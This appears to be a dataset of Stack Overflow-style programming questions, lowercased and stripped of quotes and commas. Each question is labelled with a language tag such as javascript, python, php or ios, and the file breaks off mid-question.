     var btn = document.getelementsbyclassname( btn )[0];
     
     function printinput() {
      var output = document.getelementsbyclassname( output )[0];
      var input = document.getelementsbyclassname( input )[0].value;
     
       while(input !== 0) {
          var input = document.getelementsbyclassname( input )[0].value;
       output.innerhtml += input+ &lt;br&gt; ; 
      }
     }
      btn.addeventlistener( click   printinput);
     
     }
        </code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>  
      &lt;input type= text  class= input  maxlength= 1 &gt;
      &lt;button class= btn &gt;submit&lt;/button&gt;
      &lt;div class= output &gt;&lt;/div&gt;</code></pre>
 </div>
 </div>",javascript
running into some logical errors with my code  i am the given the following problem and asked to write a solution algorithm for it using python.     problem:  write a python program to determine the student with the highest average.  each student takes a midterm and a final. the grades should be validated to be between 0 and 100 inclusive. input each student’s name and grades and calculate the student’s average. output the name of the student with the best average and their average.    here is my code:   <pre><code>def midterm():     midtermscore = int(input( what is the midterm score:  ))     while (midtermscore &lt;= 0 or midtermscore &gt;= 100):         midtermscore = int(input( please enter a number between 0 and 100:  ))     return midtermscore def final():     finalscore = int(input( what is the final score:  ))     while (finalscore &lt; 0 or finalscore &gt; 100):         finalscore = int(input( please enter a number between 0 and 100:  ))     return finalscore  total = 0 highest = 0 numstudents = int (input( how many students are there   )) while numstudents &lt; 0 or numstudents &gt; 100:     numstudents = int (input( please enter a number between 0 and 100   )) for i in range (1  numstudents+1):     students = (input( enter student s name please:  ))     score = (midterm()+ final())     total += score avg = total/numstudents if (highest &lt; avg):     highest = avg     winner = students print ( the student with the higgest average is:    winner   with the highest average of:    avg) </code></pre>   the issue i am running into is the last part. the program does not print the name of the person with the highest average  but the name of the person that was entered at the very last. i am very confused on how to go forward from here. can you please help  thanks in advance for any help.,python
how to send multiple user location from seperate devices to one particular user  i am trying to build an app where the user can see available merchants nearby. i am not getting how can i fetch all merchants location and populate it on user map in android.,android
fatal error: class  numberformatter  not found  i ve been using this exact same code for ages  and i have never had a single problem. now all of a sudden it has stopped working.    i have read across the internet about this problem  and apparently you need <code>php 5.3 or higher</code> installed  and the <code>php intl</code> plugin installed. i have both of these  yet i am still receiving a <code>fatal error: class  numberformatter  not found</code> error whenever i use the following function:   <pre><code>function format_item($value) {        $format = new \numberformatter( en_us   \numberformatter::currency);        return $format-&gt;formatcurrency($value   aud ); } </code></pre>   also  here is a snippit from my <code>php.ini</code> file showing that i have the <code>php intl</code> plugin installed:   <pre><code>[intl] intl.default_locale = fr_fr ; this directive allows you to produce php errors when some error ; happens within intl functions. the value is the level of the error produced. ; default is 0  which does not produce any errors. intl.error_level = e_warning </code></pre>   i also have the <code>extension=php_intl.dll</code> in my <code>php.ini</code>  and it is also in my directory.    why am i getting this error,php
__weak nsstring *text = self.textfield.text has inconsistent behaviour  i think i may made a silly mistake  but i can t figure out why:    i have a method and block to handle some network api like:   <pre><code>-(ibaction)confirm:(id)sender {              __weak typeof(self) weakself = self;     __weak nsstring *anothernumber = self.nextphonetextfield.text;     [sharedinstance bindnewphonenumber:self.nextphonetextfield.text pincode:self.verifycodetextfield.text sucess:^(id result) {        // update phone number       sharedinstance.phonenumber = anothernumber;      }];  } </code></pre>   before the block  i can see <code>newnumber</code> has value correctly     however when the block is invoked  the newnumber is nil  instead of the text. but i was able to print <code>weakself.nextphonetextfield.text</code>  which is not changed.    any explainations is appreciated!    <strong>update:</strong>    after creating a sample project  i found it s not reproducible. the weak string pointer has valid text. then i start debugging it  and i found that     in order to avoid the <code>new</code> keyword  i changed the pointer name to <code>anothernumber</code>    in my real project  when calling <code>__weak nsstring *anothernumber = self.nextphonetextfield.text;</code> the <code>anothernumber</code> has a new address  rather than the <code>self.nextphonetextfield.text;</code> address:   <pre><code>(lldb) p anothernumber (__nscfstring *) $2 = 0x00007f88b3ff2960 @ 12345678901  (lldb) p self.nextphonetextfield.text (__nscfstring *) $3 = 0x00007f88b15f8690 @ 12345678901  </code></pre>   however in the sample project  i have the similar function     <pre><code>- (void)clickblock:(void (^)(nsstring * string))block {     if (block) {         block(@ haha );     } }  - (ibaction)clicked:(id)sender {     __weak typeof(self) weakself = self;     __weak nsstring *text = self.textfield.text;      [self clickblock:^(nsstring *string) {         nslog(text);         nslog(string);     }]; } </code></pre>   it is the same address:   <pre><code>(lldb) p text (nstaggedpointerstring *) $2 = 0xa000000747365744 @ test  (lldb) p self.textfield.text (nstaggedpointerstring *) $3 = 0xa000000747365744 @ test  </code></pre>   and the class type changed also... looking for answers!!!    <strong>another update:</strong>    i delete the block  simply create two weak pointers with some strings like  hello  and  12345678901   the formmer one has the same address and marked as <code>nstaggedpointerstring</code>  however the latter one has different address and marked as <code>nscfstring</code>    it seems to me that once the text reach a specific length  it will have the nscfstring and different address  and after some tests  the bounty is 9. once more than 9 words  it will be <code>nscfstring</code>  tested on ios 9.1 iphone 6s simulator.    on ios 8.4 simulator  all the strings with different length result in different mem adress and nscfstring    sample project:<a href= https://github.com/liuxuan30/weakstringpointer  rel= nofollow >https://github.com/liuxuan30/weakstringpointer</a>,objective-c
pass values to javascript array filter   how can one pass a variable to a filter function in javascript     in this case i m trying to pass a value to variable  maxage :   <pre><code>var datefilter = function(value maxage) { // age in miliseconds     if(date.now() - value &lt; maxage) {         return value;         } else {         return false;         }     }      dates.filter(datefilter 500); </code></pre>   how can i pass the value <code>500</code> to the filter as <code>maxage</code>,javascript
pass uisegmentcontrol selectedsegmentindex to popover  sorry for the noob question.  i have a view that has a uisegmentcontrol in the uitoolbar.  i also present a popover from a button.  how do i get the value of the uisegmentcontrol to the popover   should i have the popover have an nsinteger ivar to hold this value so when i present the popover  i set that value to whatever the selectedsegmentindex is   i didn t know if that was the cleanest way since i m new at this and keep reading stuff about not coupling your classes.  thanks!,iphone
utf-8 vs ascii text  why does sql database use utf-8 encoding  do they both use 8-bit to store a character,sql
directive not executing corretcly on route change  i have directive in angular to add fixed to top class every time user scrolls a bit  to have sticky header with some basic info . directive goes as following:   <pre><code>app.directive( fixedtop   function ($window) {     var $win = angular.element($window);     return {         restrict:  a           link: function (scope  element  attrs) {            $log.debug( fixedtop init );            var topclass = attrs.fixedtop;            var containerclass =  container ;            var offsettop = element.offset().top;            $win.on( scroll   function (e) {                 if ($win.scrolltop() &gt;= offsettop) {                     element.addclass(topclass);                     element.children().first().addclass(containerclass);                     $log.debug( fixedtop add topclass );                                         } else {                     element.removeclass(topclass);                     element.children().first().removeclass(containerclass);                     $log.debug( fixedtop remove topclass );                 }             });         }     } }); </code></pre>   my route is defined without any custom addons like this:   <pre><code>$routeprovider         .when( /   {             templateurl:  home.html               controller:  home          })         //rest of routes </code></pre>   index html :   <pre><code>&lt;div class= row  id= main-ccontent &gt;     &lt;div class= col-sm-10 col-md-10 col-lg-offset-1 main &gt;         &lt;div ng-view=   class= container main-container &gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   one of two templates which use directive starts with following:   <pre><code>&lt;div class= row header-fixed animate-appear  fixed-top= fix-to-top &gt;     &lt;!--      header       --&gt; &lt;/div&gt; &lt;div&gt;     &lt;!-- content goes here --&gt; &lt;/div&gt; </code></pre>   it works nice as it should  problem is that   whenever i change route ( go to other sub-page ) my directive is not working   and i have to execute page refresh (f5) to make it work again.    so i suppose it have something to do how route works and when directives are rendered or something like this     <strong>update</strong>: after adding logging   on first load when i scroll. in console logs:   <pre><code>fixedtop init (times 6 ) fixedtop remove topclass (times 38) fixedtop add topclass </code></pre>   but when i navigate to another route i have:   <pre><code>fixedtop init (times 6 ) fixedtop remove topclass fixedtop add topclass fixedtop remove topclass fixedtop add topclass fixedtop remove topclass fixedtop add topclass fixedtop remove topclass fixedtop add topclass fixedtop remove topclass fixedtop add topclass fixedtop remove topclass </code></pre>   .. and so on so on... so it seems like on route change   it s switching it on and off    <strong>update 2</strong> added scrolltop and offset debug:   <pre><code>            $log.debug(offsettop);             $log.debug($win.scrolltop()); </code></pre>   and on route change result is   <pre><code>fixedtop init 70 91.81817626953125 fixedtop add topclass 1316.3635711669922 91.81817626953125 fixedtop remove topclass 70 96.36363220214844 fixedtop add topclass 1316.3635711669922 96.36363220214844 fixedtop remove topclass </code></pre>   this is happening on route change only. whenever i enter page normally   directive has correct offset value,angularjs
how to correct the error of this program  i have a code but in this code there is an error and i don t know why i has this error. i put this code because i want my ball hit least the border soy the screens. you can see my code :   <pre><code>cgpoint ballcenter = ball.center; cgrect ballrect = cgrectmake(50  73  50  50); // an arbitrary location for the ball  you would normally use the frame property of the ball here cgrect s = [uiscreen mainscreen].bounds; cgrect adjustedscreenrect = cgrectmake(s.x-50   // take the ball s (width or height) and divide it by two to get the distance to the center. then multiply it by two and subtract from the appropriate dimension(x offset (width)  y offset (height)  width (width)  height (height)).  bool isonscreen = cgrectcontainspoint(adjutedscreenrect  ballcenter); // do whatever with the bool from the above line... </code></pre>   i have an error at this line:   <pre><code>cgrect adjustedscreenrect = cgrectmake(s.x-50   // take the ball s (width or height) and divide it by two to get the distance to the center. then multiply it by two and subtract from the appropriate dimension(x offset (width)  y offset (height)  width (width)  height (height)).  bool isonscreen = cgrectcontainspoint(adjutedscreenrect  ballcenter); </code></pre>   and the error is  no member named  x  in struct cgrect .    thanks you for your help    the answer is <code>cgrect adjustedscreenrect = cgrectmake(s.origin.x-50<br> bool isonscreen = cgrectcontainspoint(adjutedscreenrect  ballcenter);</code>    but i have an error expected ) on bool .    can you help me,ios
value containing encoded accents in nsstring  i have a string in my redis db containing encoded chars with accents:   <pre><code>hum... probl\xc3\xa0me :( </code></pre>   this is string is correctly read from db (using node-redis)   <pre><code>hum... problème :( </code></pre>   but when it is sent to client (ios app)  utf8 encoding appears.    <strong>update</strong>    after some hours of struggle  i figure this out.<br> the retrieval from db is ok  then the transport to the client leads to those encoded chars to be added. on client side i then correct the values   <a href= https://stackoverflow.com/questions/4913499/utf8-character-decoding-in-objective-c >based on this sop answer</a>,ios
"why does this javascript regexp concantenation not work  the goal is to replace digits 0-9 as well as a variable value from a text input in a form  with a substitute value of x if a match is found  as user types  using javascript.    why does this not work     <code>regexexpression =  ([0-9]  + companyvalue +  ) ;</code>     each case works when coded independently but does not work when concantenated.    <code>var regexexpression = ( [0-9] );</code> works as expected and substitutes x for numeric value.    <code>var regexexpression =  ( companyvalue ) ;</code> works as expected and substitutes x for the variable text input value.    insight would be appreciated. thanks.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>function clean(e) {
  var companyvalue = document.getelementbyid( company ).value;
  var textfield = document.getelementbyid(e);
  var regexexpression = ( ([0-9]  + companyvalue +  ) );
  var regex = new regexp(regexexpression  g   i );
   if(textfield.value.search(regex) &gt; -1) {
   document.getelementbyid( status ).innerhtml =  telephone numbers and company name&lt;br&gt;are automatically redacted. ;
  }
  textfield.value = textfield.value.replace(regex   x );
  //alert (companyvalue);
  }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;input id= company  style= border-color:#f8980f;  class= medium required  type= text  name= company  /&gt;
 
 &lt;textarea id= description  onkeyup= clean( description )  onkeydown= clean( description )  class= medium  cols= 25  rows= 8  name= description  placeholder= write a short summary.  /&gt;&lt;/textarea&gt;
 &lt;div id= status &gt;&lt;/div&gt;</code></pre>
 </div>
 </div>",javascript
comparing intergers within string values  i have some string values stored in a database table for the screen sizes of laptops like 14 inches 14.8 inches  15.1 inches  15.6 inches  16 inches and so on. these values are being searched using an advanced search option which uses a range of values like:   <pre><code>less than 14 inches 14-15 inches 15-16 inches 16-18 inches </code></pre>   how can i use the above search criteria to get the values from the database to show me all the screen sizes that lie within the range:   <pre><code>15-16 inches </code></pre>   the results returned should be all records with 15.1 inches  15.6 inches     i have tried using comparison operators but the correct results are not shown. it either shows the starting values or the ending values. not the ones in between the range.,php
error calling the object from jquery plugin <pre><code>var accordion = {  init: function(options  elem) { var self = this;  self.elem = elem;  self.options = $.extend( {}  $.fn.accordion.options  options );  // call methods self.hidedd(); }   hidedd: function() {     var self = this;      $(self.elem +   dd ).hide(); } </code></pre>   };    inside hidedd method  <code>$(self.elem +   dd ).hide();</code> gives error if <code>self.elem</code> is there  it works only if i just put <code>$( dd ).hide()</code> but i dont want that as it selects all dd elements on the page.    why isn t it working as it is,jquery
how to make a top colum in html  how do i make this in html  more specifically the top part of the website     <img src= https://i.stack.imgur.com/fopb4.png  alt= image of a website >,html
can typeid() be used to pass a function   i tried this and got the output as: void    please explain the following code:   <pre><code>#include &lt;cstdio&gt; #include &lt;typeinfo&gt; using namespace std ;  void foo() {    }  int main(void) {    printf( %s         typeid(foo()).name());// please notice this line  is it same as typeid( ).name()      return 0; } </code></pre>   afaik: the typeid operator allows the type of an object to be determined at run time.    so  does this sample code tell us that <strong>a function that returns void is of **type</strong> void**. i mean a function is a method and has no type. correct,c++
app is crashing after loading images  my app is crashing after loading thumbnails. on this line the code is downloading the images (thumbnails)   <pre><code>else if ([temptagname isequaltostring:@ unicorn ])             {                     bottomindexpage.unitarr = [[nsmutablearray alloc] init];                 nsarray *temparr = [temptagvalue componentsseparatedbystring:@   ];                  for (int i = 0; i&lt;[temparr count]; i++)                  {                      [bottomindexpage.unitarr addobject:[[nsstring alloc] initwithstring:[temparr objectatindex:i]]];                  } </code></pre>   in the output s i do not see any crash message. it needs to load thumbnails but the app is crashing by downloading (90 +- thumbnails)    i think it s something in here    <pre><code> if (!loadxmlfromweb)     {         xmltextreaderptr xmlreader = xmlreaderformemory([xmldata bytes]                                                           [xmldata length]                                                           [path utf8string]  nil                                                           (xml_parse_noblanks | xml_parse_nocdata | xml_parse_noerror | xml_parse_nowarning));         [self xmlparseproc:xmlreader];     } } </code></pre>,objective-c
angularjs- load data from database to dynamic created textarea  i have 10 textarea that is generated dynamically. like user can add or remove the textarea. i am fetching some data from database and that is working fine but facing issue while displaying them.    here is the code.   <pre><code>&lt;fieldset  data-ng-repeat= choice in choices &gt;     &lt;div class= col-xs-12 &gt;         &lt;div class= row &gt;             &lt;div class= col-xs-10 &gt;                 &lt;textarea name= {{choice.name}}  ng-model= choice.name  class= form-control textbox1  id= exp_details  placeholder= experience  required= required  rows= 3 &gt;&lt;/textarea&gt;             &lt;/div&gt;             &lt;div class= col-xs-2 &gt;                 &lt;button class= remove  ng-show= $last  ng-click= removechoice() &gt;-&lt;/button&gt;             &lt;/div&gt;          &lt;/fieldset&gt; </code></pre>   here is the http request.   <pre><code>formapp.controller( getprofile   function($scope $http){     $http({         url:  get_profile.php           method:  get           params: {uid: uid}     })     .success(function(data) {          if (data.success) {              need help over here           }else{             alert( error );         }     }); }) </code></pre>   please advise how to fix this issue.    data from http request is like this.   <pre><code>exp =  some text ; exp1 =  some text ; exp2 =  some text ; -------------------- exp10 =  some text ; </code></pre>   <strong>edit</strong>    <a href= http://www.shanidkv.com/blog/angularjs-adding-form-fields-dynamically  rel= nofollow noreferrer >http://www.shanidkv.com/blog/angularjs-adding-form-fields-dynamically</a>    i am using code from above link and trying to add existing value in textarea.,angularjs
selecting multiple rows by 2 columns <pre><code>  [         posts         ]   | id |   title  | class |   |----|----------|-------|   | 1  |   4567   |    2  |   | 2  |   1234   |    1  |   | 3  |   9124   |    1  |   | 3  |   9124   |    w  |   ________________________ </code></pre>   how can i <code>select</code> multiple <code>class column</code> values and sort it to be <code>echo</code>ed in <code>html</code> like   <pre><code>$query =  select * from posts where id = :id  $statment= $conn-&gt;prepare($query); $statment-&gt;execute([ :id  =&gt; $id]);  while($row = $stmt-&gt;fetch()){ $title1 = $row[ title ]  //where the class is 1 $title2 = $row[ title ] //where the class is 2  echo  &lt;a&gt;$title1&lt;/a&gt; &lt;a&gt;$title2&lt;/a&gt; } </code></pre>   how do specify which title appear by its class  i already used the <code>id</code> but i want to use the <code>class</code> like    <pre><code>$title1 = $row[ id ]  and $row[ class ] = 1 $title2 = $row[ id ]  and $row[ class ] = 2 $titleo = $row[ id ]  and $row[ class ] = w </code></pre>   to sort it <code>while echo</code> or do i have to go   <pre><code>$query =  select * from posts where id = :id and class = 1  $query =  select * from posts where id = :id and class = 2  $query =  select * from posts where id = :id and class =  w   //for strings </code></pre>,php
dynamically change iphone app icon and loading image  i would like to update the application icon and the splash (loading) screen of my app dynamically if possible  by storing the data in sqlite fetched from a webservice    i pretty sure the answer is going to be no but thought i d get confirmation    thanks,iphone
c# - auto refresh a listview  i have a <code>listview</code> and the <code>listview</code> data is taken from database. beside the <code>listview</code> got a button to add the record.    if the button is pressed it will show a dialog    code :   <pre><code>private void baddstudent_click(object sender  eventargs e) {     faddstudent addstudent = new faddstudent();     addstudent.showdialog(); } </code></pre>   after add the record  the dialog will <code>close()</code> and show the listview.  but the <code>listview</code> is not update the data.    is there any way to make it <strong>auto update</strong>     <strong>edit :</strong>  here is how i add records :   <pre><code>private void btnadd_click(object sender  eventargs e) {     string studentid = tbstudentid.text;     string studentname = tbstudentname.text;     string gender = tbgender.text;      string connectionstring =  data source=xxx\\sqlexpress;initial catalog=testapplication;integrated security=sspi; user id=xxx;password=xxx ;      using (sqlconnection connection = new sqlconnection(connectionstring)) {         sqlcommand cmd = new sqlcommand( insert into student (student_id  student_name  student_gender) values (@studentid  @studentname  @studentgender)  );         cmd.commandtype = commandtype.text;         cmd.connection = connection;         cmd.parameters.addwithvalue( @studentid   studentid);         cmd.parameters.addwithvalue( @studentname   studentname);         cmd.parameters.addwithvalue( @studentgender   gender);         connection.open();         cmd.executenonquery();     } } </code></pre>   code for showing <code>listview</code> :   <pre><code>list&lt;string&gt; mylistheader = new list&lt;string&gt;(new string[] {  id    name    gender  }); mylistheader.foreach(name =&gt; lvstudent.columns.add(name));  sqlconnection ugicon = new sqlconnection(); ugicon.connectionstring =  data source=xxx\\sqlexpress;initial catalog=testapplication;integrated security=sspi; user id=xxx\\user;password=xxx ; ugicon.open();  sqlcommand cmd = new sqlcommand( select * from student   ugicon);  sqldatareader dr = cmd.executereader(); while (dr.read()) {     listviewitem item = new listviewitem(dr[0].tostring());     item.subitems.add(dr[1].tostring());     item.subitems.add(dr[2].tostring());     lvstudent.items.add(item); } </code></pre>   <strong>note</strong>    <strong> add data  form is different with showing the <code>listview</code> form  so i cannot access the <code>listview</code> in the  add data  form</strong>,c#
how to acess file from another computer in the network  i would like to know how to search a particular file and  access that file by specifying the file name in a search text box  from same network just by giving the ip address and password. i am a newbie and it would be great  if some one helps me out.,c#
java multiple markers at this line  i m new to java  starting to learn the basics. i just ran into this error which i can t comprehend or find an answer to. the error happens at for(int d ; d &lt; 4; d++).   <pre><code>public class arrayslists {      public static void main(string[] args) {          arraylist&lt;integer&gt; list = new arraylist(arrays.aslist(1 3 2));          system.out.println(arrays.tostring(myarray));         collections.sort(list);         list.add(6);         system.out.println(arrays.tostring(list.toarray()));          for(int d ; d &lt; list.size(); d++){             system.out.println(list.get(d));         }     } </code></pre>,java
how to get a single element from an array by comparing with a string value in xcode   how to get a single element from an array by comparing with a string value.i have a string in a textfield.i want to compare that textfield string with an array.and i want to get that single element form that array.,objective-c
what do braces do in javascript   i read this line in <em>eloquent javascript</em> and would love some clarity.   <blockquote>    ...braces have two meanings in javascript. at the start of a statement  they start a block fo statements. in any other position  they describe an object. fortunately  it is almost never useful to start a statement with a brace object  and...  </blockquote>   so  braces in let s say a..... an  if statement  create a block of statements to execute  but braces that appear in let s say a function call (as a parameter) or in a variable assignment becomes an object literal.    is that right  what are all the other cases  i m not sure i understand the rule for when braces bundle up statements and for when they describe an object.,javascript
css issue with horizontal scrolling...can t find it  okay  this is driving me nuts...i have this site where there is horizontal scrolling ...trying to use firebug and i can t find why it is scrolling sideways...i confirmed in both ff and ie.  any chance i can get another set of eyes on this please and tell me what the deal is please     <a href= http://tinyurl.com/7k6a5e4  rel= nofollow >tiny url</a>,css
how to center a webpage in css  i am i am new in css.. i have converted my psd file into html/css.. now i want to move my webpage page into center of the window.. i tried some code and that code align only text the background image  back.gif  remains at left.. here is my html and css code    <pre><code>**html**  &lt;body&gt; &lt;div id= main &gt;        &lt;div id= header &gt;      &lt;div id= logo &gt;             &lt;img src= logo.gif  /&gt;          &lt;/div&gt;       &lt;/div&gt;       &lt;div id= menu &gt;      &lt;img src= images/menu_07.gif  /&gt;            &lt;div id= m &gt;              &lt;ul&gt;                &lt;li&gt; &lt;a href= index.php &gt;home&lt;/a&gt;&lt;/li&gt;                &lt;li&gt; &lt;a href= pages.php &gt;pages&lt;/a&gt;&lt;/li&gt;                &lt;li&gt; &lt;a href= donor.php &gt;donor&lt;/a&gt;&lt;/li&gt;                &lt;li&gt;&lt;a href= seeker.php &gt;seeker&lt;/a&gt;&lt;/li&gt;                &lt;li&gt;&lt;a href= hospitals.php &gt;hospitals&lt;/a&gt;&lt;/li&gt;                &lt;li&gt;&lt;a href= lifesaving.php &gt;life saving contacts&lt;/a&gt;&lt;/li&gt;                &lt;li&gt;&lt;a href= contactus.php &gt;feedback&lt;/a&gt;&lt;/li&gt;              &lt;/ul&gt;            &lt;/div&gt;      &lt;/div&gt;       &lt;div id= content &gt;      &lt;div id= center  align= center &gt;              &lt;h3&gt;welcome to admin area&lt;/h3&gt;              &lt;p id= ajk &gt;ajkbloodbank.com&lt;/p&gt;          &lt; php               echo  welcome! .$_session[ username ];               echo  &lt;br&gt; ;               echo  &lt;a href=logout.php&gt;logout&lt;/a&gt;&amp;nbsp; ;               &gt;          &lt;/div&gt;      &lt;/div&gt;       &lt;div id= footer &gt;      &lt;/div&gt; &lt;/div&gt; &lt;/body&gt;   **css** body {      background:url(../back.gif) repeat-y;        padding-left:105px;     height:900px;     text-align: center;     margin:auto;     min-width: 760px; } div#main  {     width: 720px;     margin: 0 auto;     text-align: left; }  #header {     width:787px;     margin-top:10px; }  #menu {      width:787px;         float:left;     margin-top:20px;  }  #content {     background-color:#fff;     border:groove;     width:790px;     float:left;     padding-top:30px;     margin-top:30px; } #footer {         float:left;         height:52px;         width:790px; } </code></pre>   please tell me where i made mistake ..   <pre><code>the diameseion of background image  backgif  = 995x1000 </code></pre>,css
how to check the  password  for numbers in python  i have set up a program to change a  password . i have it checking to see if it is at least 8 characters  contains a capital letter and has a number  and if it does not meet this criteria  it asks for the password again. i have everything working except the checking for a number and i was wondering if someone could help.   <pre><code>npwv = 1  while npwv == 1:      npw = input( please enter new password. )     npwc = input ( please confirm new password )      if npwc == npw:         if npwc.isupper()== false:             if npwc.islower()== false:                 if len(npwc) &gt;= 8:                     if str.isdigit(npwc) == true:                         npw=npwc                         print( your password has been changed )                     else:                         print( your password must contain a number )                         npwv = 1                 else:                     print( your password must contain at least 8 characters. )                     npwv = 1             else:                 print( your password must contain at least 1 upper case character. )                 npwv = 1      else:         print ( passwords don t match )         npwv = 1 </code></pre>,python
hex to dec to custom rgb = does not print the figure  0 (zero)   as the title says  the output at the end won t show properly  if the hex value includes a  0x  or  00  value. does anyone know a fix for it  (i am learning php  so please be more detailed  not brief explaining).   <pre><code>&lt;div id= hex_rgb_calc &gt;         &lt;form action=   method= post &gt;         &lt;input type= text  name= hex  value= # &gt;&lt;br&gt;         &lt;input type= submit  name= submit  value= calculate &gt;      &lt; php         if(isset($_post[ hex ]))         {             $hex = $_post[ hex ];             list($r  $g  $b) = sscanf($hex   #%02x%02x%02x );             $decrcalc = (dechex($r));             $decgcalc = (dechex($g));             $decbcalc = (dechex($b));             $decrcalc = strtoupper($decrcalc);             $decgcalc = strtoupper($decgcalc);             $decbcalc = strtoupper($decbcalc);       &gt;             &lt;div id= separator &gt;             &lt;/div&gt;     &lt; php                echo  &lt;br&gt;1. input: &lt;br&gt;$hex&lt;br&gt; ;             echo  &lt;br&gt;2. output (dec): &lt;br&gt;$r $g $b&lt;br&gt; ;             echo  &lt;br&gt;3. custom (gb&gt;r): &lt;br&gt;$decgcalc$decbcalc$decrcalc&lt;br&gt; ;         }      &gt;  &lt;/div&gt; </code></pre>   to make an example:    putting in the hex  020255  and converting it to my needed hex setup (in this case gbr  not rgb) should output it as the value  025502   but the actual output is  2552   the zero (0) values are missing  being cut.    does anyone know how to fix that  i checked my html and css docs  i cannot find any kind of declaration which would obviously remove that value during the calculation.    edit: is there a way putting out the hex value in its corresponding color  :),php
how-to: auto-restart console app. in .net  any ideas of how to auto-restart (restart) console application in .net      i know that forms application have something like this:   <pre><code>application.restart(); </code></pre>   but this is not possible for console.    also  note: the problem is  that i can t start two instances of the same app :),.net
undefined variable that is defined in the constructor  hi i seem to be getting an error on my code that seems to say that i have not initialez my variable but th veriabile is initialized in the constructor:   <pre><code>notice: undefined variable: conn in d:\program files\xampp\htdocs\tutorials\login\classes\mysql.php on line 18  fatal error: cannot access empty property in d:\program files\xampp\htdocs\tutorials\login\classes\mysql.php on line 18 </code></pre>   and this is my code:   <pre><code>&lt; php require_once( includes/constants.php );     class mysql{          private $conn;          function __construct() {             $this-&gt;conn = new mysqli(db_server   db_user   db_password   db_name) or                     die( there was a problem connecting to the database );         }         function verify_username_and_pass($un   $pwd){              $query =  select *                        from users                       where username =   and password=                         limit 1 ;              if($stmt = $this-&gt;$conn-&gt;prepare($query)){ //this is where the error points                 $stmt-&gt;bind_param( ss   $un  $pwd);                 $stmt-&gt;execute();                  if($stmt-&gt;fetch()){                     $stmt-&gt;close;                     return true;                 }             }            }     }  &gt; </code></pre>   the error is thrown at the first if statement.how can i solve it,php
angularjs nested controllers - how to call external controller s functions  i m following an exercise in a book  so i don t know if i m doing any mistake. i have two controllers both with a function with same name:   <pre><code>app.controller( externalcontroller   [ $scope   function(scope){   scope.afunction(){   //some code...   }; }]);  app.controller( innercontroller   [ $scope   function(s){   s.afunction(){   //some code...   }; }]); </code></pre>   in the book  the function of the external controller is calles in this way:   <pre><code>&lt;div ng-controller= externalcontroller as ext &gt;   &lt;div ng-controller= innercontroller &gt;     &lt;button ng-click= ext.afunction()&gt;button&lt;/button&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>   this doesn t work for me  can anyone tell me if i m doing any mistake or if there s something wrong in the code  thanks a lot. mauro,angularjs
how to make all radio buttons unselected  this makes a textarea go blank in my application:   <pre><code>$( #questiontextarea ).val(  ); </code></pre>   what i want to know is how can i make radio buttons go back to all being unselected  the class of each radio button is .replybtn,jquery
how can i get the unselected items from dropdown using jquery   how can i get the unselected items from dropdown using jquery,jquery
my first sql query - orderby error  i am using a mysql query to get information from two tables and then ordering them by one field. something about the last line is not working and the ajax function that loads the content returns an error.   <pre><code>$list = mysql_query( select    id              user_email              meta_lastname.meta_value lastname               meta_firstname.meta_value firstname   from      wp_users   left join wp_usermeta meta_lastname   on        meta_lastname.user_id = wp_users.id   left join wp_usermeta meta_firstname   on        meta_firstname.user_id = wp_users.id   where     meta_lastname.meta_key =  last_name    and       meta_firstname.meta_key =  first_name      where user_email like  %$searchpattern%       order by lastname; ); </code></pre>   something about this last bit is not right and is returning an error.   <pre><code>where user_email like  %$searchpattern%           order by lastname; ); </code></pre>   any ideas on whats gone wrong     marvellous,mysql
printing to file from global array of chars in c  i am having a problem while trying to print to txt file from global array of char*.    my array is declared as    <pre><code>char* codes[256]; </code></pre>   also i have a function that construct a string and returns it to after which that value is placed into this global array   <pre><code>char* printarr(int arr[]  int n) {      char* code = (char *) malloc(sizeof(char) * (n+1));      int i;     for (i = 0; i &lt; n; ++i)     {         code[i] = arr[i] +  0 ;     }     code[n] =  \0 ;      return code; } </code></pre>   after which i just simply place that value into that global array. after that i am trying to print that array values into a txt file like this :    <pre><code>void printtofile(char* outputfilename) {     file* f = fopen(outputfilename   w+ );     int i;     for (i = 0; i &lt; 256; ++i)    {         //printf( %s\n   codes[i]);         fprintf(f   %s\n   codes[i]);    }     fclose(f); } </code></pre>   but for some reason my txt file turns out blank. also without opened stream when i try to print to stdout i get those values but with both printf and fprintf i don t get anything out either on stdout or in txt file.    thanks in advance!,c
ios x.x adoption rate  i m curious what percent of ios users are running with version of the operating system. i d really like to cut my new app as 6.0+ but also don t want to screw over the 5.x folk.    i did a lot of googling  but it mainly turns up tech articles  that either aren t current or not informative enough (all about ios 6.1).     is there a known source for this that is updated in real(ish) time  i can t seem to find one.,ios
i can t see apk on android phone  the error show me  i can t use apk and can t display apk on phone screen.    <pre><code>    [2015-04-01 16:53:46 - bus] ------------------------------     [2015-04-01 16:53:46 - bus] android launch!     [2015-04-01 16:53:46 - bus] adb is running normally.     [2015-04-01 16:53:46 - bus] no launcher activity found!     [2015-04-01 16:53:46 - bus] the launch will only sync the application package on the device!     [2015-04-01 16:53:46 - bus] performing sync     [2015-04-01 16:53:49 - bus] application already deployed. no need to reinstall.     [2015-04-01 16:53:49 - bus] \bus\bin\bus.apk installed on device     [2015-04-01 16:53:49 - bus] done! </code></pre>,android
one class over riding the second one   i wrote a java program that has 3 classes:    <strong>main.class</strong> (main method class)    <strong>infout.class</strong> (class that draws circle + methods for circle that allow it to be controlled with keyboard input (arrow keys)    <strong>obj2.class</strong> (class that draws a rectangle)   <hr>   all the code is compiled fine  but for some reason when i run the program  the program executes all the code from <strong>obj2.class</strong> but does not execute the one from <strong>infout.class</strong>.    in other words  it draws the rectangle (<strong>obj2.class</strong>) but it does not draw the controllable circle (<strong>infout.class</strong>). is <strong>obj2.class</strong> over riding <strong>infout.class</strong>  if it is  what should i do     the code is much too big to post here  the website says the post is  mostly code  :c.    thanks!    edit: ok here s the relevant code:    <strong>main.class</strong>   <pre><code>    import javax.swing.jframe;      public class main {         public static void main(string args[]) {     jframe frame = new jframe();     infout m = new infout();     obj2 o = new obj2();      frame.add(m);     frame.add(o);     frame.setvisible(true);     frame.setdefaultcloseoperation(jframe.exit_on_close);     frame.setsize(300  400);     frame.settitle( circle ); }     } </code></pre>   <strong>infout.class</strong>   <pre><code>    import javax.swing.*;     import java.awt.*;     import java.awt.event.*;     import 